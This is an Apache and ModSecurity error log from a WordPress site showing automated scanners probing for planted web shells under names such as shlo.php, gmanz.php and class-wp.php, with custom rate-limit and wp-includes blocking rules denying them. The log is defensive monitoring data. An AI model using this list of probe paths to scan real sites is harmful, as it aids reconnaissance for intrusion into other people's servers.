[Fri Feb 06 08:41:08.274668 2026] [proxy_fcgi:error] [pid 52212:tid 52217] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:08.484321 2026] [proxy_fcgi:error] [pid 52212:tid 52238] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:08.698198 2026] [proxy_fcgi:error] [pid 52212:tid 52224] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:09.001653 2026] [proxy_fcgi:error] [pid 52212:tid 52216] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:09.208175 2026] [:error] [pid 52212:tid 52234] [client 20.98.205.141:8752] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmanz.php"] [unique_id "aYU4pWy3e5ZfWRP0XAc3RQAAAZQ"]
[Fri Feb 06 08:41:11.315250 2026] [:error] [pid 13650:tid 13655] [client 20.98.205.141:4731] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmanz.php"] [unique_id "aYU4pxoU-_lpgnGeX7WpggAAAUM"]
[Fri Feb 06 08:41:12.968782 2026] [:error] [pid 1773:tid 1806] [client 20.98.205.141:12074] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmanz.php"] [unique_id "aYU4qDYbySBHYmKOdJ8usgAAANc"]
[Fri Feb 06 08:41:17.864895 2026] [:error] [pid 1664:tid 1723] [client 20.98.205.141:12039] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmanz.php"] [unique_id "aYU4re_0lM6yA3VnvQXoPQAAAFc"]
[Fri Feb 06 08:41:18.796728 2026] [:error] [pid 1663:tid 1695] [client 20.98.205.141:4631] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzz.php"] [unique_id "aYU4rl9EQrJaKkABjK8OWgAAABY"]
[Fri Feb 06 08:41:20.046230 2026] [:error] [pid 52212:tid 52221] [client 20.98.205.141:14017] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzz.php"] [unique_id "aYU4sGy3e5ZfWRP0XAc3awAAAYc"]
[Fri Feb 06 08:41:27.222654 2026] [:error] [pid 34582:tid 34592] [client 20.98.205.141:4426] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzz.php"] [unique_id "aYU4t-DeJq1JGssYG6z4QQAAAQc"]
[Fri Feb 06 08:41:29.752857 2026] [:error] [pid 34582:tid 34606] [client 20.98.205.141:7098] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzz.php"] [unique_id "aYU4ueDeJq1JGssYG6z4RQAAARU"]
[Fri Feb 06 08:41:31.053483 2026] [:error] [pid 13650:tid 13675] [client 20.98.205.141:6315] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/codehu.php"] [unique_id "aYU4uxoU-_lpgnGeX7WpmQAAAVc"]
[Fri Feb 06 08:41:33.025574 2026] [:error] [pid 52212:tid 52232] [client 20.98.205.141:13780] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/codehu.php"] [unique_id "aYU4vWy3e5ZfWRP0XAc3jwAAAZI"]
[Fri Feb 06 08:41:35.081007 2026] [:error] [pid 1664:tid 1721] [client 20.98.205.141:5315] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/codehu.php"] [unique_id "aYU4v-_0lM6yA3VnvQXoUAAAAFU"]
[Fri Feb 06 08:41:37.435220 2026] [:error] [pid 1665:tid 1737] [client 20.98.205.141:6082] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/codehu.php"] [unique_id "aYU4wTYZLE6gThXvZMoH3gAAAIo"]
[Fri Feb 06 08:41:40.393358 2026] [:error] [pid 1665:tid 1735] [client 20.98.205.141:4796] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aYU4xDYZLE6gThXvZMoH4AAAAIg"]
[Fri Feb 06 08:41:42.247133 2026] [:error] [pid 1664:tid 1709] [client 20.98.205.141:5752] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aYU4xu_0lM6yA3VnvQXoWgAAAEk"]
[Fri Feb 06 08:41:44.204642 2026] [:error] [pid 1664:tid 1714] [client 20.98.205.141:13789] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aYU4yO_0lM6yA3VnvQXoXQAAAE4"]
[Fri Feb 06 08:41:45.743170 2026] [:error] [pid 1664:tid 1716] [client 20.98.205.141:3463] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aYU4ye_0lM6yA3VnvQXoXgAAAFA"]
[Fri Feb 06 08:41:51.757737 2026] [:error] [pid 1665:tid 1746] [client 20.98.205.141:6114] [client 20.98.205.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aYU4zzYZLE6gThXvZMoH6QAAAJM"]
[Fri Feb 06 08:41:55.062117 2026] [:error] [pid 13650:tid 13668] [client 20.98.205.141:8635] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "aYU40xoU-_lpgnGeX7WpzAAAAVA"]
[Fri Feb 06 08:41:56.164370 2026] [:error] [pid 52212:tid 52233] [client 20.98.205.141:8311] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "aYU41Gy3e5ZfWRP0XAc32QAAAZM"]
[Fri Feb 06 08:42:18.525523 2026] [:error] [pid 52212:tid 52236] [client 20.98.205.141:6450] [client 20.98.205.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/library/shlo.php"] [unique_id "aYU46my3e5ZfWRP0XAc4FQAAAZY"]
[Fri Feb 06 08:42:24.309849 2026] [proxy_fcgi:error] [pid 52212:tid 52238] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:24.576679 2026] [proxy_fcgi:error] [pid 52212:tid 52227] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:24.780392 2026] [proxy_fcgi:error] [pid 52212:tid 52220] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:24.985343 2026] [proxy_fcgi:error] [pid 52212:tid 52225] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:25.188968 2026] [proxy_fcgi:error] [pid 52212:tid 52236] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:25.394054 2026] [proxy_fcgi:error] [pid 52212:tid 52223] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:25.616928 2026] [proxy_fcgi:error] [pid 52212:tid 52224] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:25.836367 2026] [proxy_fcgi:error] [pid 52212:tid 52216] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:42:26.079650 2026] [proxy_fcgi:error] [pid 52212:tid 52238] [client 20.98.205.141:2995] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 09:22:01.794894 2026] [proxy_fcgi:error] [pid 1663:tid 1691] [client 20.114.220.19:8010] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:15.549635 2026] [proxy_fcgi:error] [pid 3513:tid 3528] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:15.813357 2026] [proxy_fcgi:error] [pid 3513:tid 3519] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:16.073642 2026] [proxy_fcgi:error] [pid 3513:tid 3536] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:16.314562 2026] [proxy_fcgi:error] [pid 3513:tid 3516] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:16.556755 2026] [proxy_fcgi:error] [pid 3513:tid 3537] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:16.883918 2026] [proxy_fcgi:error] [pid 3513:tid 3525] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:17.179784 2026] [proxy_fcgi:error] [pid 3513:tid 3539] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:17.433960 2026] [proxy_fcgi:error] [pid 3513:tid 3534] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:17.676399 2026] [proxy_fcgi:error] [pid 3513:tid 3522] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:17.983882 2026] [proxy_fcgi:error] [pid 3513:tid 3521] [client 20.203.201.174:64941] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:54:19.343258 2026] [:error] [pid 3513:tid 3530] [client 20.203.201.174:64941] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/444.php"] [unique_id "aYYOqzSw3-HAlzpqSxzmkQAAAU8"]
[Fri Feb 06 23:54:21.123694 2026] [:error] [pid 36857:tid 36862] [client 20.203.201.174:49943] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/444.php"] [unique_id "aYYOrZVQwfj7Kp4Dd0EE_wAAAYM"]
[Fri Feb 06 23:54:22.257267 2026] [:error] [pid 3380:tid 3401] [client 20.203.201.174:43199] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/444.php"] [unique_id "aYYOrhFAlUvBGSBK2jd6KQAAABE"]
[Fri Feb 06 23:54:23.449840 2026] [:error] [pid 36928:tid 36935] [client 20.203.201.174:40176] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/444.php"] [unique_id "aYYOr5s7fyU8D36r-OqSKgAAAcM"]
[Fri Feb 06 23:54:24.371024 2026] [:error] [pid 46432:tid 46457] [client 20.203.201.174:43656] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aYYOsAbwJwu_od0kZjNCZQAAAlc"]
[Fri Feb 06 23:54:25.487671 2026] [:error] [pid 15821:tid 15836] [client 20.203.201.174:47464] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aYYOsXARQa67J4c772kkvgAAAQs"]
[Fri Feb 06 23:54:27.256094 2026] [:error] [pid 3381:tid 3422] [client 20.203.201.174:3720] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aYYOsy81zqRg96ZREgiMUAAAAEk"]
[Fri Feb 06 23:54:28.067165 2026] [:error] [pid 37019:tid 37034] [client 20.203.201.174:33677] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aYYOtAkAjqd3bcgYBrt77gAAAg0"]
[Fri Feb 06 23:54:29.586931 2026] [:error] [pid 37019:tid 37030] [client 20.203.201.174:60768] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aYYOtQkAjqd3bcgYBrt78QAAAgk"]
[Fri Feb 06 23:54:31.652588 2026] [:error] [pid 3381:tid 3434] [client 20.203.201.174:50747] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aYYOty81zqRg96ZREgiMUQAAAFU"]
[Fri Feb 06 23:54:33.147441 2026] [:error] [pid 3477:tid 3489] [client 20.203.201.174:39085] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aYYOubL0Hdh40C7HYgWO7gAAAMo"]
[Fri Feb 06 23:54:34.639778 2026] [:error] [pid 3477:tid 3479] [client 20.203.201.174:3768] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aYYOurL0Hdh40C7HYgWO8QAAAMA"]
[Fri Feb 06 23:54:35.887984 2026] [:error] [pid 3381:tid 3414] [client 20.203.201.174:50690] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "aYYOuy81zqRg96ZREgiMUgAAAEE"]
[Fri Feb 06 23:54:36.620901 2026] [:error] [pid 15821:tid 15832] [client 20.203.201.174:39091] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "aYYOvHARQa67J4c772kkwwAAAQc"]
[Fri Feb 06 23:54:37.998386 2026] [:error] [pid 15821:tid 15838] [client 20.203.201.174:50734] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "aYYOvXARQa67J4c772kkxwAAAQ0"]
[Fri Feb 06 23:54:39.524661 2026] [:error] [pid 3381:tid 3419] [client 20.203.201.174:39072] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file88.php"] [unique_id "aYYOvy81zqRg96ZREgiMVwAAAEY"]
[Fri Feb 06 23:54:41.679095 2026] [:error] [pid 36928:tid 36935] [client 20.203.201.174:39079] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aYYOwZs7fyU8D36r-OqSNgAAAcM"]
[Fri Feb 06 23:54:43.181344 2026] [:error] [pid 36928:tid 36937] [client 20.203.201.174:36444] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aYYOw5s7fyU8D36r-OqSPQAAAcU"]
[Fri Feb 06 23:54:45.048437 2026] [:error] [pid 15821:tid 15836] [client 20.203.201.174:60791] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aYYOxXARQa67J4c772kkzQAAAQs"]
[Fri Feb 06 23:54:48.129390 2026] [:error] [pid 36928:tid 36941] [client 20.203.201.174:33346] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aYYOyJs7fyU8D36r-OqSQgAAAck"]
[Fri Feb 06 23:54:49.867420 2026] [:error] [pid 3477:tid 3495] [client 20.203.201.174:27464] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aYYOybL0Hdh40C7HYgWO-gAAANA"]
[Fri Feb 06 23:54:51.558212 2026] [:error] [pid 3381:tid 3423] [client 20.203.201.174:35679] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aYYOyy81zqRg96ZREgiMYAAAAEo"]
[Fri Feb 06 23:54:52.576399 2026] [:error] [pid 3477:tid 3499] [client 20.203.201.174:3772] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aYYOzLL0Hdh40C7HYgWO_AAAANQ"]
[Fri Feb 06 23:54:53.593974 2026] [:error] [pid 15821:tid 15844] [client 20.203.201.174:35659] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aYYOzXARQa67J4c772kk0QAAARM"]
[Fri Feb 06 23:54:55.790496 2026] [:error] [pid 3513:tid 3516] [client 20.203.201.174:29837] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "aYYOzzSw3-HAlzpqSxzmlwAAAUE"]
[Fri Feb 06 23:54:57.003101 2026] [:error] [pid 15821:tid 15845] [client 20.203.201.174:50743] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "aYYO0XARQa67J4c772kk1wAAARQ"]
[Fri Feb 06 23:54:57.842364 2026] [:error] [pid 36928:tid 36940] [client 20.203.201.174:29890] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "aYYO0Zs7fyU8D36r-OqSRgAAAcg"]
[Fri Feb 06 23:54:59.306561 2026] [:error] [pid 3382:tid 3450] [client 20.203.201.174:29826] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/555.php"] [unique_id "aYYO08IgU1HR0rhYrE92DgAAAIo"]
[Fri Feb 06 23:55:01.599432 2026] [:error] [pid 3477:tid 3490] [client 20.203.201.174:36466] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aYYO1bL0Hdh40C7HYgWO_wAAAMs"]
